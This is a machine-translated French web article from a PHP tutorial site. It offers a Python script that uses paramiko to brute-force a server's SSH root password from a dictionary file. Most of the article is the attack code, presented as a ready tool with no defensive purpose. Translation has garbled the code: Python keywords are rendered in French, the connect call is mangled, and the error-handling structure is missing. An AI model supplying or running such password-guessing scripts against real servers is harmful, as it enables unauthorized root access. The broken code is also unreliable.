Maison  >  Article  >  développement back-end  >  Utilisez Python pour forcer brutalement le code d'exemple du mot de passe root

Utilisez Python pour forcer brutalement le code d'exemple du mot de passe root

高洛峰
高洛峰original
2017-03-22 10:42:312740parcourir

Préparation de l'environnement :

1. Installez le module paramiko

2. Ouvrez le port 22 pour le service ssh du serveur

Veuillez consulter le code ci-dessous

#!/usr/bin/py

#-*- codage : utf-8 -*-

import paramiko

ssh = paramiko .SSHClient( ) #Instantiation class

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #La réponse automatique lors de la connexion est oui

d = fichier('/root/a.txt') #Chemin du fichier du dictionnaire

pour i dans d.xreadlines( ):      # LoopDictionnaire de mots de passe

i = i.strip() #Supprimez les espaces avant et après

if not i: #Enter si la valeur est vide Le prochain tour de boucle

                                                                                                                                                                              , PORT = 22, Nom d'utilisateur = 'ROOT', PASSW ORD = i)

> IMPRIMER

'RACINE le mot de passe est', i #Si le mot de passe est correct, le mot de passe

                                                                                                                                                                                                                           Sortez de la boucle  :

print 'Le mot de passe root n'a pas été craqué, veuillez changer de dictionnaire et réessayez' #Si aucun mot de passe ne correspond

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn